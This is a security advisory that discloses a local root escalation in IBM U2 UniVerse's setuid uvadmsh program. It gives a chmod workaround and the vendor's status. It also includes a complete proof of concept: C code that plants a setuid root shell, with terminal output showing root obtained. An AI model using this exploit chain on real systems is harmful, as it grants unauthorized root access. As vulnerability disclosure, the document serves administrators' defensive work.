[Full-Disclosure] SRT2003-07-07-0833 - IBM U2 UniVerse users with uvadm rights can take root via uvadmsh

Secure Network Operations, Inc. http://www.secnetops.com
Strategic Reconnaissance Team [email protected]
Team Lead Contact [email protected]

Our Mission:

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Secure Network Operations offers expertise in Networking, Intrusion
Detection Systems (IDS), Software Security Validation, and
Corporate/Private Network Security. Our mission is to facilitate a
secure and reliable Internet and inter-enterprise communications
infrastructure through the products and services we offer.

Quick Summary:

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Advisory Number : SRT2003-07-07-0833
Product : IBM U2 UniVerse
Version : Version <= 10.0.0.9 ?
Vendor : http://ibm.com/software/data/u2/universe/
Class : local
Criticality : High (to UniVerse servers with local users)
Operating System(s) : Only confirmed on Linux (other unix based?)

High Level Explanation

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High Level Description : users with uvadm rights can take root
What to do : chmod -s /usr/ibm/uv/bin/uvadmsh

Technical Details

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Proof Of Concept Status : SNO Does have PoC code for this issue.
Low Level Description :

UniVerse is an extended relational database designed for embedding in
vertical applications. Its nested relational data model results in
intuitive data modeling and fewer resulting tables. UniVerse provides
data access, storage and management capabilities across MicrosoftВ®
WindowsВ® NT, Linux and UNIplatform.

The creation and use of the Unix user 'uvadm' is optional for UniVerse.
It is not required for the successfull installation, configuration and
administration of UniVerse. The intended use of uvadm is to allow a
selected, specific non-root user to perform all aspects of UniVerse
administration.

The uvadmsh program checks the users name against the string "uvadm"
which means in order to exploit this issue you need to have access to
the user uvadm.

[kf@vegeta kf]$ ltrace /tmp/uvadmsh -uv.install /tmp
…
strcmp("kf", "uvadm") = -1

[uvadm@vegeta uvadm]$ id
uid=503(uvadm) gid=503(uvadm) groups=503(uvadm)

You will note that with the proper uid the binary begins looking for
the command line option "-uv.install" which is the path to a binary
file to execute.

[uvadm@vegeta uvadm]$ ltrace /tmp/uvadmsh -uv.install /tmp
…
strcmp("uvadm", "uvadm") = 0
strcmp("-uv.install", "-uv.install") = 0

This condition is fairly easy to take advantage of as you can see here.

[uvadm@vegeta uvadm]$ cat > /tmp/uv.install.c
main()
{
setuid(0);
system("cc -o /tmp/owned /tmp/owned.c");
system("chmod 4755 /tmp/owned");
}

[uvadm@vegeta uvadm]$ cc -o /tmp/uv.install /tmp/uv.install.c
[uvadm@vegeta uvadm]$ cat > /tmp/owned.c
main()
{
setuid(0);
system("/bin/bash");
}

[uvadm@vegeta uvadm]$ ls -al /tmp/owned
ls: /tmp/owned: No such file or directory

[uvadm@vegeta uvadm]$ /usr/ibm/uv/bin/uvadmsh -uv.install /tmp
[uvadm@vegeta uvadm]$ ls -al /tmp/owned
-rwsr-xr-x 1 root uvadm 11640 Jul 2 20:15 /tmp/owned

[uvadm@vegeta uvadm]$ /tmp/owned
[root@vegeta uvadm]# id
uid=0(root) gid=503(uvadm) groups=503(uvadm)

Patch or Workaround : chmod -s /usr/ibm/uv/bin/uvadmsh

Note: If you decide to 'chmod -s uvadmsh', you will need to be a root user
to perform all of the uvadmsh functions.

Vendor Status : The IBM U2 staff will have this issue resolved
in a future release of IBM U2. Patches may also be supplied on a per
client basis at IBM's disgression.

Bugtraq URL : to be assigned

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This advisory was released by Secure Network Operations,Inc. as a matter
of notification to help administrators protect their networks against
the described vulnerability. Exploit source code is no longer released
in our advisories. Contact [email protected] for information on how
to obtain exploit information.